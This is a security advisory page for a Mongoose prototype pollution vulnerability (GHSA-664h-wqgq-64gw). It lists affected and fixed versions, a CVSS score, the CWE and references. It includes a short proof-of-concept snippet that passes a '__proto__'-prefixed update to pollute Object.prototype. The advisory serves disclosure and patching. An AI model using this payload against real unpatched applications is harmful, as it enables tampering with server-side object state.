Advisory Database
  • Advisories
  • Dependency Scanning
  1. npm
  2. ›
  3. mongoose
  4. ›
  5. GHSA-664h-wqgq-64gw

GHSA-664h-wqgq-64gw: Mongoose: Prototype pollution in mongoose update casting via __proto__-prefixed dotted path (Schema._getSchema/path getter)

July 24, 2026

What kind of vulnerability is it? Who is impacted?

Prototype pollution in update casting: passing a user-controlled update to a Mongoose update, like MyModel.updateOne(filter, req.body), can cause Mongoose to set $fullPath and $parentSchemaDocArray on Object.prototype.

Example:

const mongoose = require('mongoose');
console.log('before:', Object.prototype.$fullPath);            // undefined

const User = mongoose.model('User', new mongoose.Schema({ name: String }));
const malicious = JSON.parse('{"$set": {"__proto__.x": "anything"}}');   // attacker-controlled update

const q = User.updateOne({}, {});
try { q._castUpdate(malicious); } catch (e) { /* throws AFTER the pollution side-effect */ }

console.log('after :', Object.prototype.$fullPath);            // "__proto__"
console.log('enumerable:', Object.prototype.propertyIsEnumerable('$fullPath'));  // true
console.log('fresh {}:', ({}).$fullPath);                      // "__proto__"

References

  • github.com/Automattic/mongoose/commit/f494b8430f9097fc70446d6949c8a42a27518e0b
  • github.com/Automattic/mongoose/pull/16230
  • github.com/Automattic/mongoose/releases/tag/6.13.10
  • github.com/Automattic/mongoose/releases/tag/7.8.10
  • github.com/Automattic/mongoose/releases/tag/8.24.1
  • github.com/Automattic/mongoose/releases/tag/9.7.2
  • github.com/Automattic/mongoose/security/advisories/GHSA-664h-wqgq-64gw
  • github.com/advisories/GHSA-664h-wqgq-64gw

Code Behaviors & Features

Detect and mitigate GHSA-664h-wqgq-64gw with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 6.13.10, all versions starting from 7.0.0 before 7.8.10, all versions starting from 8.0.0 before 8.24.1, all versions starting from 9.0.0 before 9.7.2

Fixed versions

  • 6.13.10
  • 7.8.10
  • 8.24.1
  • 9.7.2

Solution

Upgrade to versions 6.13.10, 7.8.10, 8.24.1, 9.7.2 or above.

Impact 6.5 MEDIUM

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Learn more about CVSS

Weakness

  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Source file

npm/mongoose/GHSA-664h-wqgq-64gw.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Sat, 08 Aug 2026 00:17:53 +0000.